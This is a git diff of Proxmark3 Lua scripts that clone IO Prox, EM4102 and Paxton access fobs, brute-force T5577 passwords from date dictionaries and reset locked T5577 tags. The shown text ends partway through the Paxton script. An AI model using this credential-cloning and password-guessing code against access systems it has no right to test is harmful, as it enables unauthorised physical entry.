46e33c63a..31fb91e76 100644 --- a/client/luascripts/lf_ioprox_bulkclone.lua +++ b/client/luascripts/lf_ioprox_bulkclone.lua @@ -1,125 +1,125 @@ -local getopt = require('getopt') -local cmds = require('commands') - - -copyright = '' -author = "TheChamp669" -version = 'v1.0.0' -desc = [[ -Perform bulk enrollment of 26 bit IO Prox / Kantech style RFID Tags -The vnc is set to 2. -For more info, check the comments in the code -]] -example = [[ - -- - script run lf_ioprox_bulkclone.lua -f 1 -b 1000 -]] -usage = [[ -script run lf_ioprox_bulkclone.lua -f facility -b base_id_num -]] -arguments = [[ - -h : this help - -f : facility id - -b : starting card id -]] -local DEBUG = true - ---- --- A debug printout-function -local function dbg(args) - if not DEBUG then return end - if type(args) == 'table' then - local i = 1 - while args[i] do - dbg(args[i]) - i = i+1 - end - else - print('###', args) - end -end ---- --- This is only meant to be used when errors occur -local function oops(err) - print('ERROR:', err) - core.clearCommandBuffer() - return nil, errr -end ---- --- Usage help -local function help() - print(copyright) - print(author) - print(version) - print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) - print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) - print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) - print(example) -end ---- --- Exit message -local function exitMsg(msg) - print( string.rep('--',20) ) - print( string.rep('--',20) ) - print(msg) - print() -end - -local function main(args) - - print( string.rep('--',20) ) - print( string.rep('--',20) ) - print() - - if #args == 0 then return help() end - - for o, a in getopt.getopt(args, 'f:b:h') do - if o == 'h' then return help() end - if o == 'f' then - if isempty(a) then - print('You did not supply a facility code, using 0') - fc = 0 - else - fc = a - end - end - if o == 'b' then - if isempty(a) then return oops('You must supply the flag -b (starting card number)') end - cn = a - end - end - - local successful_writes = {} - local timestamp = os.date('%Y-%m-%d %H:%M:%S', os.time()) - - while true do - print(string.format("Setting fob to Facility Code: %d, Card Number: %d", fc, cn)) - - -- Writing to block 0 with the specific data for ioProx card format - core.console("lf t55xx write -b 0 -d 00147040") - - -- Command to set facility code and card number on the fob - local command = string.format("lf io clone --vn 2 --fc %d --cn %d", fc, cn) - core.console(command) - - table.insert(successful_writes, string.format("%d,%d", fc, cn)) - print("Fob created successfully.") - - print("Press Enter to create the next fob, type 'r' and press Enter to retry, or type 'q' and press Enter to quit.") - local user_input = io.read() - - if user_input:lower() == 'q' then - print("Timestamp: ", timestamp) - print("Successful Writes:") - for _, v in ipairs(successful_writes) do print(v) end - break - elseif user_input:lower() ~= 'r' then - cn = cn + 1 - end - end -end - -main(args) +local getopt = require('getopt') +local cmds = require('commands') + + +copyright = '' +author = "TheChamp669" +version = 'v1.0.0' +desc = [[ +Perform bulk enrollment of 26 bit IO Prox / Kantech style RFID Tags +The vnc is set to 2. +For more info, check the comments in the code +]] +example = [[ + -- + script run lf_ioprox_bulkclone.lua -f 1 -b 1000 +]] +usage = [[ +script run lf_ioprox_bulkclone.lua -f facility -b base_id_num +]] +arguments = [[ + -h : this help + -f : facility id + -b : starting card id +]] +local DEBUG = true + +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, errr +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(usage) + print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(arguments) + print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(example) +end +--- +-- Exit message +local function exitMsg(msg) + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print(msg) + print() +end + +local function main(args) + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + + if #args == 0 then return help() end + + for o, a in getopt.getopt(args, 'f:b:h') do + if o == 'h' then return help() end + if o == 'f' then + if isempty(a) then + print('You did not supply a facility code, using 0') + fc = 0 + else + fc = a + end + end + if o == 'b' then + if isempty(a) then return oops('You must supply the flag -b (starting card number)') end + cn = a + end + end + + local successful_writes = {} + local timestamp = os.date('%Y-%m-%d %H:%M:%S', os.time()) + + while true do + print(string.format("Setting fob to Facility Code: %d, Card Number: %d", fc, cn)) + + -- Writing to block 0 with the specific data for ioProx card format + core.console("lf t55xx write -b 0 -d 00147040") + + -- Command to set facility code and card number on the fob + local command = string.format("lf io clone --vn 2 --fc %d --cn %d", fc, cn) + core.console(command) + + table.insert(successful_writes, string.format("%d,%d", fc, cn)) + print("Fob created successfully.") + + print("Press Enter to create the next fob, type 'r' and press Enter to retry, or type 'q' and press Enter to quit.") + local user_input = io.read() + + if user_input:lower() == 'q' then + print("Timestamp: ", timestamp) + print("Successful Writes:") + for _, v in ipairs(successful_writes) do print(v) end + break + elseif user_input:lower() ~= 'r' then + cn = cn + 1 + end + end +end + +main(args) diff --git a/client/luascripts/lf_t55xx_chk.lua b/client/luascripts/lf_t55xx_chk.lua new file mode 100644 index 000000000..6c1da33ce --- /dev/null +++ b/client/luascripts/lf_t55xx_chk.lua @@ -0,0 +1,138 @@ +local os = require("os") +local ac = require('ansicolors') +local getopt = require('getopt') +local dir = os.getenv('HOME') .. '/proxmark3/client/dictionaries/' +local dictionary_path = dir .. 'T5577date.dic' +local cyan = ac.cyan +local res = ac.reset +local red = ac.red +local green = ac.green + +author = ' Author: jareckib - created 04.02.2025' +version = ' version v1.05' +desc = [[ + A simple script for searching the password for T5577. The script creates a + dictionary starting from the entered starting year to the entered ending year. + There are two search methods - DDMMYYYY or YYYYMMDD. Checking the entire year + takes about 1 minute and 50 seconds. Date from 1900 to 2100. The script may be + useful if the password is for example a date of birth. +]] + +usage = [[ + script run lf_t55xx_chk [-s start_year] [-e end_year] [-d | -y] +]] +options = [[ + -h this help + -s start_year starting year (required) + -e end_year ending year (optional, default: current year) + -d search method: DDMMYYYY + -y search method: YYYYMMDD +]] +examples = [[ + script run lf_t55xx_chk -s 1999 -d -> start 1999, end is current year, method 01011999 + script run lf_t55xx_chk -s 1999 -y -> start 1999, end is current year, method 19990101 + script run lf_t55xx_chk -s 1999 -e 2001 -y -> start 1999, end year 2001, method 19990101 + script run lf_t55xx_chk -s 1999 -e 2001 -d -> start 1999, end year 2001, method 01011999 +]] + +local function help() + print() + print(ac.yellow..author) + print(version) + print(res..desc) + print(green..' Usage:'..res) + print(usage) + print(green..' Options:'..res) + print(options) + print(green..' Examples:'..res) + print(examples) +end + +local function oops(err) + core.console('clear') + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print(ac.red..' ERROR:'..res.. err) + print( string.rep('--',39) ) + print( string.rep('--',39) ) + return nil, err +end + +local dir = os.getenv('HOME') .. '/proxmark3/client/dictionaries/' +local dictionary_path = dir .. 'T5577date.dic' + +local days_in_month = { + [1] = 31, [2] = 28, [3] = 31, [4] = 30, [5] = 31, [6] = 30, + [7] = 31, [8] = 31, [9] = 30, [10] = 31, [11] = 30, [12] = 31 +} + +local function generate_dictionary(start_year, end_year, mode) + local file = io.open(dictionary_path, "w") + if not file then + print(ac.yellow .. ' ERROR: ' .. res .. 'Cannot create T5577date.dic') + return false + end + + for year = start_year, end_year do + for month = 1, 12 do + local days_in_current_month = days_in_month[month] + if month == 2 and ((year % 4 == 0 and year % 100 ~= 0) or (year % 400 == 0)) then + days_in_current_month = 29 + end + + for day = 1, days_in_current_month do + local month_str = string.format("%02d", month) + local day_str = string.format("%02d", day) + local year_str = tostring(year) + local entry = (mode == "y") and (year_str .. month_str .. day_str) or (day_str .. month_str .. year_str) + file:write(entry .. "\n") + end + end + end + + file:close() + return true +end + +local function main(args) + if #args == 0 then return help() end + + local start_year, end_year, mode = nil, nil, nil + local current_year = tonumber(os.date("%Y")) + + for o, a in getopt.getopt(args, 'hs:e:dy') do + if o == 'h' then return help() end + if o == 's' then + start_year = tonumber(a) + if not start_year then return oops(' Invalid start year') end + end + if o == 'e' then + end_year = tonumber(a) + if not end_year then return oops(' Invalid end year') end + end + if o == 'd' then mode = "d" end + if o == 'y' then mode = "y" end + end + + if not start_year then return oops(' Starting year is required') end + if start_year < 1900 or start_year > 2100 then + return oops(' Start year must be between 1900 and 2100') + end + if args[#args] == "-e" then return oops(' Ending year cannot be empty') end + if not end_year then end_year = current_year end + if end_year < 1900 or end_year > 2100 then + return oops(' End year must be between 1900 and 2100') + end + + if end_year < start_year then return oops(' End year cannot be earlier than start year') end + if not mode then return oops(' You must select searching method'..cyan..' d'..res.. ' or '..cyan.. 'y'..res) end + + if generate_dictionary(start_year, end_year, mode) then + print(ac.green .. " File created: " .. dictionary_path .. res) + print(cyan .. " Starting password testing on T5577..." .. res) + core.console('lf t55 chk -f ' .. dictionary_path) + else + return oops('Problem saving the file') + end +end + main(args) diff --git a/client/luascripts/lf_t55xx_chk_date.lua b/client/luascripts/lf_t55xx_chk_date.lua new file mode 100644 index 000000000..29b26d506 --- /dev/null +++ b/client/luascripts/lf_t55xx_chk_date.lua @@ -0,0 +1,164 @@ +local os = require("os") +local ac = require('ansicolors') +local utils = require('utils') +local getopt = require('getopt') +local dash = string.rep('--', 32) + +author = ' Author: jareckib - created 01.02.2025' +version = ' version v1.01' +desc = [[ + A simple script for searching the password for T5577. The script creates a + dictionary starting from the entered starting year to the entered ending year. + There are two search methods - DDMMYYYY or YYYYMMDD. Checking the entire year + takes about 1 minute and 50 seconds. Date from 1900 to 2100. The script may be + useful if the password is, for example, a date of birth. +]] +usage = [[ + script run lf_t55xx_chk_date +]] +arguments = [[ + script run lf_t55xx_chk_date -h : this help +]] + +local DEBUG = true + +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + for _, v in ipairs(args) do + dbg(v) + end + else + print('###', args) + end +end + +local function help() + print() + print(ac.green..author) + print(version) + print(ac.yellow..desc) + print(ac.cyan..' Usage'..ac.reset) + print(usage) + print(ac.cyan..' Arguments'..ac.reset) + print(arguments) +end + +local dir = os.getenv('HOME') .. '/proxmark3/client/dictionaries/' +local dictionary_path = dir .. 'T5577date.dic' + +local days_in_month = { + [1] = 31, [2] = 28, [3] = 31, [4] = 30, [5] = 31, [6] = 30, + [7] = 31, [8] = 31, [9] = 30, [10] = 31, [11] = 30, [12] = 31 +} + +local function generate_dictionary(start_year, end_year, mode) + local file = io.open(dictionary_path, "w") + if not file then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Cannot create T5577date.dic') + return false + end + + for year = start_year, end_year do + for month = 1, 12 do + local days_in_current_month = days_in_month[month] + if month == 2 and ((year % 4 == 0 and year % 100 ~= 0) or (year % 400 == 0)) then + days_in_current_month = 29 + end + + for day = 1, days_in_current_month do + local month_str = string.format("%02d", month) + local day_str = string.format("%02d", day) + local year_str = tostring(year) + local entry = (mode == "1") and (year_str .. month_str .. day_str) or (day_str .. month_str .. year_str) + file:write(entry .. "\n") + end + end + end + + file:close() + return true +end + +local function get_valid_year_input(prompt) + local year + while true do + io.write(prompt) + local input = io.read() + if input == "" then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Year cannot be empty') + else + year = tonumber(input) + if not year then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Invalid input (digits only)') + elseif year < 1900 then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Year cannot be less than 1900') + elseif year > 2100 then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Year cannot be greater than 2100') + else + break + end + end + end + return year +end + +local function get_valid_ending_year_input(start_year) + local end_year + while true do + io.write(" Enter the ending year: " .. ac.yellow) + local input = io.read() + io.write(ac.reset..'') + if input == "" then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Ending year cannot be empty') + else + end_year = tonumber(input) + if not end_year then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Invalid input (digits only)') + elseif end_year < 1900 or end_year > 2100 then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Year must be between 1900 and 2100') + elseif end_year < start_year then + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Ending year cannot be less than the starting year') + else + break + end + end + end + return end_year +end + +local function get_valid_mode_input() + local mode + while true do + io.write(' Choose the searching mode ('..ac.cyan..'1'..ac.reset..' - YYYYMMDD '..ac.cyan..'2'..ac.reset..' - DDMMYYYY): ') + mode = io.read() + if mode == "1" or mode == "2" then + return mode + else + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Invalid choice. Please enter 1 or 2.') + end + end +end + +local function main(args) + for o, a in getopt.getopt(args, 'h') do + if o == 'h' then return help() end + end + core.console('clear') + print(dash) + print(dash) + local start_year = get_valid_year_input(" Enter the starting year: " .. ac.yellow) + io.write(ac.reset..'') + local end_year = get_valid_ending_year_input(start_year) + local mode = get_valid_mode_input() + + if generate_dictionary(start_year, end_year, mode) then + print(ac.green .. " File created: " .. dictionary_path .. ac.reset) + print(ac.cyan .. " Starting password testing on T5577..." .. ac.reset) + core.console('lf t55 chk -f ' .. dictionary_path) + else + print(ac.yellow .. ' ERROR: ' .. ac.reset .. 'Problem saving the file.') + end +end + +main(args) diff --git a/client/luascripts/lf_t55xx_fix.lua b/client/luascripts/lf_t55xx_fix.lua new file mode 100644 index 000000000..b793cf629 --- /dev/null +++ b/client/luascripts/lf_t55xx_fix.lua @@ -0,0 +1,144 @@ +local getopt = require('getopt') +local utils = require('utils') +local ac = require('ansicolors') +local os = require('os') +local dash = string.rep('--', 32) +local dir = os.getenv('HOME') .. '/.proxmark3/logs/' +local logfile = (io.popen('dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:'):read("*a"):match("%C+")) +local pm3 = require('pm3') +p = pm3.pm3() +local command = core.console +command('clear') + +author = ' Author: jareckib - 15.02.2025' +version = ' version v1.02' +desc = [[ + This simple script first checks if a password has been set for the T5577. + It uses the dictionary t55xx_default_pwds.dic for this purpose. If a password + is found, it uses the wipe command to erase the T5577. Then the reanimation + procedure is applied. If the password is not found or doesn't exist the script + only performs the reanimation procedure. The script revives 99% of blocked tags. + ]] +usage = [[ + script run lf_t55xx_fix +]] +arguments = [[ + script run lf_t55xx_fix -h : this help +]] + +local function help() + print() + print(author) + print(version) + print(desc) + print(ac.cyan..' Usage'..ac.reset) + print(usage) + print(ac.cyan..' Arguments'..ac.reset) + print(arguments) +end + +local function read_log_file(logfile) + local file = io.open(logfile, "r") + if not file then + return nil + end + local content = file:read("*all") + file:close() + return content +end + +local function sleep(n) + os.execute("sleep " ..tonumber(n)) +end + +function wait(msec) + local t = os.clock() + repeat + until os.clock() > t + msec * 1e-3 +end + +local function timer(n) + while n > 0 do + io.write("::::: "..ac.yellow.. tonumber(n) ..ac.yellow.." sec "..ac.reset..":::::\r") + sleep(1) + io.flush() + n = n-1 + end +end + +local function extract_password(log_content) + for line in log_content:gmatch("[^\r\n]+") do + local password = line:match('%[%+%] found valid password: %[ (%x%x%x%x%x%x%x%x) %]') + if password then + return password + end + end + return nil +end + +local function reset_log_file() + local file = io.open(logfile, "w+") + file:write("") + file:close() +end + +local function reanimate_t5577(password) + if password then + p:console('lf t55 wipe -p ' .. password) + print("T5577 wiped using a password: " ..ac.green.. password ..ac.reset) + else + print(ac.yellow.." No valid password found, proceeding with reanimation."..ac.reset) + end + + p:console('lf t55 write -b 0 -d 000880E8 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r0 -t -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r1 -t -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r2 -t -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r3 -t -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --r0 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --r1 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --r2 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --r3 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r0 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r1 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r2 -p 00000000') + p:console('lf t55 write -b 0 -d 000880E0 --pg1 --r3 -p 00000000') + reset_log_file() +end + +local function main(args) + for o, a in getopt.getopt(args, 'h') do + if o == 'h' then return help() end + end + p:console('clear') + print(dash) + print('I am initiating the repair process for '..ac.cyan..'T5577'..ac.reset) + io.write("Place the" .. ac.cyan .. " T5577 " .. ac.reset .. "tag on the coil and press" .. ac.green .. " ENTER " .. ac.reset .. "to continue..") + io.read() + print(dash) + print("::: "..ac.cyan.."Hold on, I'm searching for a password in the dictionary"..ac.reset.." :::") + print(dash) + p:console('lf t55 chk') + local log_content = read_log_file(logfile) + local password = log_content and extract_password(log_content) or nil + reanimate_t5577(password) + p:console('lf t55 detect') + p:console('lf t55 read -b 0') + timer(5) + local success = false + for line in p.grabbed_output:gmatch("[^\r\n]+") do + if line:find("00 | 000880E0 |") then + success = true + break + end + end + + if success then + print('Recovery of '..ac.cyan..'T5577'..ac.reset..' was successful !!!') + else + print('Recovery of '..ac.cyan..'T5577'..ac.reset..' was unsuccessful !!!') + end + print(dash) +end + +main(args) diff --git a/client/luascripts/lf_t55xx_multiwriter.lua b/client/luascripts/lf_t55xx_multiwriter.lua new file mode 100644 index 000000000..6e6f78225 --- /dev/null +++ b/client/luascripts/lf_t55xx_multiwriter.lua @@ -0,0 +1,271 @@ +local getopt = require('getopt') +local utils = require('utils') +local ac = require('ansicolors') +local os = require('os') +local dash = string.rep('--', 32) +local dir = os.getenv('HOME') .. '/.proxmark3/logs/' +local logfile = (io.popen('dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:'):read("*a"):match("%C+")) +local command = core.console +local pm3 = require('pm3') +p = pm3.pm3() +command('clear') +author = ' jareckib - 12.03.2025' +version = ' v1.06' +mod = ' 20.03.2025' +desc = [[ + + This simple script stores 1, 2 or 3 different EM4102 on a single T5577. + There is an option to enter the number engraved on the fob in decimal form. + The script can therefore be useful if the original EM4102 doesn't work but + has an engraved ID number. By entering such an ID as a single EM4102, we + can create a working copy of our damaged fob. + A tag T5577 created in this way works with the following USB readers: + + - ACM08Y + - ACM26C + - Sycreader R60D + - Elatech Multitech TWN4 +]] +usage = [[ + script run lf_t55xx_multiwriter +]] +arguments = [[ + script run lf_t55xx_multiwriter -h : this help +]] + +local function help() + print() + print(ac.yellow..' Author:'..ac.reset..author) + print(ac.yellow..' Version:'..ac.reset..version) + print(ac.yellow..' Modification date:'..ac.reset..mod) + print(desc) + print(ac.cyan .. ' Usage' .. ac.reset) + print(usage) + print(ac.cyan .. ' Arguments' .. ac.reset) + print(arguments) +end + +local function sleep(n) + os.execute("sleep " ..tonumber(n)) +end + +function wait(msec) + local t = os.clock() + repeat + until os.clock() > t + msec * 1e-3 +end + +local function timer(n) + while n > 0 do + io.write(ac.cyan.."::::: "..ac.yellow.. tonumber(n) ..ac.yellow.." sec "..ac.cyan..":::::\r"..ac.reset) + sleep(1) + io.flush() + n = n-1 + end +end + +local function reset_log_file() + local file = io.open(logfile, "w+") + file:write("") + file:close() +end + +local function read_log_file(logfile) + local file = io.open(logfile, "r") + if not file then + return nil + end + local content = file:read("*all") + file:close() + return content +end + +local function extract_uid(log_content) + for line in log_content:gmatch("[^\r\n]+") do + local uid = line:match("%[%s*%+%]%s*EM%s*410x%s*ID%s*([A-F0-9]+)") + if uid then + return uid + end + end + return nil +end + +local function hex_to_bin(hex_value) + if not hex_value:match("^[A-Fa-f0-9]+$") or #hex_value ~= 10 then + error("Invalid UID format. Must be a valid 5-byte HEX value.") + end + local decimal_value = tonumber(hex_value, 16) + if not decimal_value then + error("Error: Invalid HEX conversion.") + end + local binary = "" + for i = 39, 0, -1 do + binary = binary .. ((decimal_value & (1 << i)) ~= 0 and "1" or "0") + end + if #binary ~= 40 then + error("Unexpected UID length after conversion to binary.") + end + return binary +end + +local function even_parity(bits) + return (bits:gsub("0", ""):len() % 2 == 0) and "0" or "1" +end + +local function encode_uid(uid) + local uid_bin = hex_to_bin(uid) + local start_bits = '1' .. string.rep('1', 8) + local data_with_parity = '' + for i = 1, 40, 4 do + local nibble = uid_bin:sub(i, i + 3) + local parity_bit = even_parity(nibble) + data_with_parity = data_with_parity .. nibble .. parity_bit + end + local col_parity_bits = '' + for i = 1, 4 do + local col_bits = '' + for j = i, #data_with_parity, 5 do + col_bits = col_bits .. data_with_parity:sub(j, j) + end + col_parity_bits = col_parity_bits .. even_parity(col_bits) + end + local stop_bit = '0' + local full_bin = start_bits .. data_with_parity .. col_parity_bits .. stop_bit + return string.format("%X", tonumber(full_bin, 2)) +end + +local function get_uid_from_user() + while true do + print(dash) + io.write(ac.cyan .. '(1)' .. ac.reset .. ' Manual entry UID |' .. ac.cyan .. ' (2)' .. ac.reset .. ' Read via Proxmark3 ') + + local choice + repeat + choice = io.read() + if choice ~= "1" and choice ~= "2" then + io.write(ac.yellow .. "Invalid choice. Please enter (1) or (2) " .. ac.reset) + end + until choice == "1" or choice == "2" + if choice == "1" then + local format + repeat + io.write("Choose format HEX or DEC (engraved ID) "..ac.cyan.."(h/d) "..ac.reset) + format = io.read():lower() + if format ~= "h" and format ~= "d" then + print(ac.yellow .. "Invalid choice. Choose format HEX or DEC" .. ac.reset) + end + until format == "h" or format == "d" + while true do + io.write("Enter 10-character UID: "..ac.green) + local uid = io.read():upper() + if format == "h" and uid:match("^[A-F0-9]+$") and #uid == 10 then + return uid + elseif format == "d" and uid:match("^%d%d%d%d%d%d%d%d%d%d$") then + return string.format("%010X", tonumber(uid)) + else + print(ac.yellow .. "Invalid UID format. Enter exactly 10 characters in selected format." .. ac.reset) + end + end + elseif choice == "2" then + io.write("Place original FOB on coil for reading and press" ..ac.cyan.." Enter..." .. ac.reset) + io.read() + while true do + reset_log_file() + p:console('lf em 410x read') + local log_content = read_log_file(logfile) + local uid = extract_uid(log_content) + if uid and #uid == 10 then + print("Readed EM4102 ID: " ..ac.green.. uid ..ac.reset) + return uid + else + io.write(ac.yellow .. "Error reading UID. Please adjust FOB position and press Enter..." .. ac.reset) + io.read() + end + end + end + end +end + +local function verify_written_data(blocks, block0_value, uid_count) + reset_log_file() + p:console('lf t55 detect') + for i = 0, #blocks do + p:console('lf t55 read -b ' .. i) + end + local log_content = read_log_file(logfile) + local verified = true + local pattern_block0 = "%[%s*%+%]%s*00%s*|%s*([A-F0-9]+)" + local found_block0 = log_content:match(pattern_block0) + if not found_block0 or found_block0:upper() ~= block0_value:upper() then + print("Error in block 0 ...expected: " .. ac.green .. block0_value .. ac.reset .. " ...found: " .. ac.green .. (found_block0 or "N/A") .. ac.reset) + verified = false + end + for i = 1, #blocks do + local expected_block = blocks[i] + local pattern = "%[%s*%+%]%s*" .. string.format("%02X", i) .. " |%s*([A-F0-9]+)" + local found_block = log_content:match(pattern) + if not found_block or found_block:upper() ~= expected_block:upper() then + print("Error in block " .. i .. " ...expected: " .. ac.green .. expected_block .. ac.reset .. " ...found: " .. ac.green .. (found_block or "N/A") .. ac.reset) + verified = false + end + end + return verified +end + +local function write(blocks, block0_value) + p:console('lf t55xx write -b 0 -d ' .. block0_value) + for i = 1, #blocks do + p:console('lf t55xx write -b ' .. i .. ' -d ' .. blocks[i]) + end +end + +local function main(args) + for o, a in getopt.getopt(args, 'h') do + if o == 'h' then + return help() + end + end + local blocks = {} + local uid_count = 0 + for i = 1, 3 do + local uid = get_uid_from_user() + local encoded_hex = encode_uid(uid) + blocks[#blocks + 1] = encoded_hex:sub(1, 8) + blocks[#blocks + 1] = encoded_hex:sub(9, 16) + uid_count = uid_count + 1 + if i < 3 then + local next_choice + repeat + io.write(ac.reset.."Do you want to add another UID? "..ac.cyan.."(y/n) "..ac.reset) + next_choice = io.read():lower() + if next_choice ~= "y" and next_choice ~= "n" then + print(ac.yellow .. "Invalid choice. Please enter (y) for yes or (n) for no." .. ac.reset) + end + until next_choice == "y" or next_choice == "n" + if next_choice == "y" then + print(dash) + print(ac.yellow .. (i == 1 and "::: Second UID :::" or "::: Third UID :::") .. ac.reset) + elseif next_choice == "n" then + break + end + end + end + local block0_value = (uid_count == 1) and "00148040" or (uid_count == 2) and "00148080" or "001480C0" + io.write("Place the " .. ac.cyan .. "T5577" .. ac.reset .. " tag on the coil for writing and press " .. ac.cyan .. "Enter..." .. ac.reset) + io.read() + write(blocks, block0_value) + print(dash) + timer(3) + local verified = verify_written_data(blocks, block0_value, uid_count) + while not verified do + print("Verification failed." .. ac.reset .. " Please adjust the " .. ac.cyan .. "T5577" .. ac.reset .. " position and try again.") + io.write("Press " .. ac.cyan .. "Enter" .. ac.reset .. " to retry...") + io.read() + write(blocks, block0_value) + timer(3) + verified = verify_written_data(blocks, block0_value, uid_count) + end + print(ac.green .. "Successfully written " .. ac.reset .. uid_count .. ac.green .. " EM4102 UID(s) to T5577" .. ac.reset) +end + +main(args) diff --git a/client/luascripts/paxton_clone.lua b/client/luascripts/paxton_clone.lua new file mode 100644 index 000000000..5e9076c9f --- /dev/null +++ b/client/luascripts/paxton_clone.lua @@ -0,0 +1,497 @@ +local getopt = require('getopt') +local utils = require('utils') +local ac = require('ansicolors') +local os = require('os') +local dash = string.rep('--', 32) +local dir = os.getenv('HOME') .. '/.proxmark3/logs/' +local logfilecmd + +--Determine platform for logfile handling (Windows vs Unix/Linux) +if package.config:sub(1,1) == "\\" then + logfilecmd = 'dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:' +else + logfilecmd = 'find "' .. dir .. '" -type f -printf "%T@ %p\\n" | sort -nr | cut -d" " -f2-' +end + +local logfile = (io.popen(logfilecmd):read("*a"):match("%C+")) +local log_file_path = dir .. "Paxton_log.txt" +local nam = "" +local pm3 = require('pm3') +p = pm3.pm3() +local command = core.console +command('clear') + +author = ' Author: jareckib - 30.01.2025' +tutorial = ' Based on Equipter tutorial - Downgrade Paxton to EM4102' +version = ' version v1.20' +desc = [[ + The script automates the copying of Paxton fobs read - write. + It also allows manual input of data for blocks 4-7. + The third option is reading data stored in the log file and create new fob. + Additionally, the script calculates the ID for downgrading Paxton to EM4102. + + ]] +usage = [[ + script run paxton_clone +]] +arguments = [[ + script run paxton_clone -h : this help +]] + +local debug = true + +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end + +local function help() + print() + print(author) + print(tutorial) + print(version) + print(desc) + print(ac.cyan..' Usage'..ac.reset) + print(usage) + print(ac.cyan..' Arguments'..ac.reset) + print(arguments) +end + +local function reset_log_file() + local file = io.open(logfile, "w+") + file:write("") + file:close() +end + +local function read_log_file(logfile) + local file = io.open(logfile, "r") + if not file then + error(" Could not open the file") + end + local content = file:read("*all") + file:close() + return content +end + +local function parse_blocks(result) + local blocks = {} + for line in result:gmatch("[^\r\n]+") do + local block_num, block_data = line:match("%[%=%]%s+%d/0x0([4-7])%s+%|%s+([0-9A-F ]+)") + if block_num and block_data then + block_num = tonumber(block_num) + block_data = block_data:gsub("%s+", "") + blocks[block_num] = block_data + end + end + return blocks +end + +local function hex_to_bin(hex_string) + local bin_string = "" + local hex_to_bin_map = { + ['0'] = "0000", ['1'] = "0001", ['2'] = "0010", ['3'] = "0011", + ['4'] = "0100", ['5'] = "0101", ['6'] = "0110", ['7'] = "0111", + ['8'] = "1000", ['9'] = "1001", ['A'] = "1010", ['B'] = "1011", + ['C'] = "1100", ['D'] = "1101", ['E'] = "1110", ['F'] = "1111" + } + for i = 1, #hex_string do + bin_string = bin_string .. hex_to_bin_map[hex_string:sub(i, i)] + end + return bin_string +end + +local function remove_last_two_bits(binary_str) + return binary_str:sub(1, #binary_str - 2) +end + +local function split_into_5bit_chunks(binary_str) + local chunks = {} + for i = 1, #binary_str, 5 do + table.insert(chunks, binary_str:sub(i, i + 4)) + end + return chunks +end + +local function remove_parity_bit(chunks) + local no_parity_chunks = {} + for _, chunk in ipairs(chunks) do + if #chunk == 5 then + table.insert(no_parity_chunks, chunk:sub(2)) + end + end + return no_parity_chunks +end + +local function convert_to_hex(chunks) + local hex_values = {} + for _, chunk in ipairs(chunks) do + if #chunk > 0 then + table.insert(hex_values, string.format("%X", tonumber(chunk, 2))) + end + end + return hex_values +end + +local function convert_to_decimal(chunks) + local decimal_values = {} + for _, chunk in ipairs(chunks) do + table.insert(decimal_values, tonumber(chunk, 2)) + end + return decimal_values +end + +local function find_until_before_f(hex_values) + local result = {} + for _, value in ipairs(hex_values) do + if value == 'F' then + break + end + table.insert(result, value) + end + return result +end + +local function process_block(block) + local binary_str = hex_to_bin(block) + binary_str = remove_last_two_bits(binary_str) + local chunks = split_into_5bit_chunks(binary_str) + local no_parity_chunks = remove_parity_bit(chunks) + return no_parity_chunks +end + +local function calculate_id_net(blocks) + local all_hex_values = {} + for _, block in ipairs(blocks) do + local hex_values = convert_to_hex(process_block(block)) + for _, hex in ipairs(hex_values) do + table.insert(all_hex_values, hex) + end + end + local selected_hex_values = find_until_before_f(all_hex_values) + if #selected_hex_values == 0 then + error(ac.red..' Error: '..ac.reset..'No valid data found in blocks 4 and 5') + end + local combined_hex = table.concat(selected_hex_values) + if not combined_hex:match("^%x+$") then + error(ac.red..' Error: '..ac.reset..'Invalid data in blocks 4 and 5') + end + local decimal_id = tonumber(combined_hex) + local stripped_hex_id = string.format("%X", decimal_id) + local padded_hex_id = string.format("%010X", decimal_id) + return decimal_id, padded_hex_id +end + +local function calculate_id_switch(blocks) + local all_decimal_values = {} + for _, block in ipairs(blocks) do + local decimal_values = convert_to_decimal(process_block(block)) + for _, dec in ipairs(decimal_values) do + table.insert(all_decimal_values, dec) + end + end + if #all_decimal_values < 15 then + 